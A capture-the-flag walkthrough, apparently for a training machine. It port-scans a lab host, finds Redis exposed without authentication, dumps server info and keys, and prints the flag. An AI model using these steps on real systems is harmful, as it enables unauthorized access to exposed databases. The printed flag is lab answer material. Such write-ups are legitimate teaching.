First Step
After connecting to the VPN, I ran the handy Nmap. At first I did not get any results when scanning the first thousand ports.
But then I realized there are 65,535 ports in TCP! I used the following NMAP command to find a open port.
sudo nmap -p1-65535 10.129.136.187
The command above gave the following information. The port 6,379 is open to a service called Redis. Redis is an In-memory Database.
6379/tcp open redis
Connecting To The Redis Service.
The command line tool redis-cli can be used to access the Redis service.
Use the following command to install the redis-cli tool.
sudo apt install redis-tools
Next I used the INFO command to get some stats about the server. The version of the server is 5.0.7.
The info command gave the following output:
10.129.136.187:6379> info
# Server
redis_version:5.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:66bd629f924ac924
redis_mode:standalone
os:Linux 5.4.0-77-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:9.3.0
process_id:751
run_id:973eed4fa7c5f3b6c8ae3534207c79622e9cb081
tcp_port:6379
uptime_in_seconds:4843
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:14064173
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf
# Clients
connected_clients:1
client_recent_max_input_buffer:2
client_recent_max_output_buffer:0
blocked_clients:0
# Memory
used_memory:859624
used_memory_human:839.48K
used_memory_rss:7286784
used_memory_rss_human:6.95M
used_memory_peak:879120
used_memory_peak_human:858.52K
used_memory_peak_perc:97.78%
used_memory_overhead:847166
used_memory_startup:797248
used_memory_dataset:12458
used_memory_dataset_perc:19.97%
allocator_allocated:1503512
allocator_active:1875968
allocator_resident:17379328
total_system_memory:2084024320
total_system_memory_human:1.94G
used_memory_lua:41984
used_memory_lua_human:41.00K
used_memory_scripts:0
used_memory_scripts_human:0B
number_of_cached_scripts:0
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
allocator_frag_ratio:1.25
allocator_frag_bytes:372456
allocator_rss_ratio:9.26
allocator_rss_bytes:15503360
rss_overhead_ratio:0.42
rss_overhead_bytes:-10092544
mem_fragmentation_ratio:8.91
mem_fragmentation_bytes:6469168
mem_not_counted_for_evict:0
mem_replication_backlog:0
mem_clients_slaves:0
mem_clients_normal:49694
mem_aof_buffer:0
mem_allocator:jemalloc-5.2.1
active_defrag_running:0
lazyfree_pending_objects:0
# Persistence
loading:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1792445127
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:0
rdb_current_bgsave_time_sec:-1
rdb_last_cow_size:417792
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
aof_last_cow_size:0
# Stats
total_connections_received:8
total_commands_processed:30
instantaneous_ops_per_sec:0
total_net_input_bytes:863
total_net_output_bytes:41626
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
expired_stale_perc:0.00
expired_time_cap_reached_count:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:4
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:245
migrate_cached_sockets:0
slave_expires_tracked_keys:0
active_defrag_hits:0
active_defrag_misses:0
active_defrag_key_hits:0
active_defrag_key_misses:0
# Replication
role:master
connected_slaves:0
master_replid:5678d6514a15ac1996489be93a91fb52692fd3cd
master_replid2:0000000000000000000000000000000000000000
master_repl_offset:0
second_repl_offset:-1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0
# CPU
used_cpu_sys:3.828002
used_cpu_user:3.067071
used_cpu_sys_children:0.000000
used_cpu_user_children:0.001369
# Cluster
cluster_enabled:0
# Keyspace
db0:keys=4,expires=0,avg_ttl=0
Getting the Keys.
Use the select * command as seen below.
10.129.136.187:6379> select 0
OK
The * is a wild card which will get all the data in the keys.
10.129.136.187:6379> keys *
1) "flag"
2) "temp"
3) "stor"
4) "numb"
Looks like 1st key is the flag. Now we use the get command to get the flag.
10.129.136.187:6379> get flag
"03e1d2b376c37ab3f5319922053953eb"
Getting The Flag.
I used get flag to get the flag, which was 03e1d2b376c37ab3f5319922053953eb.
`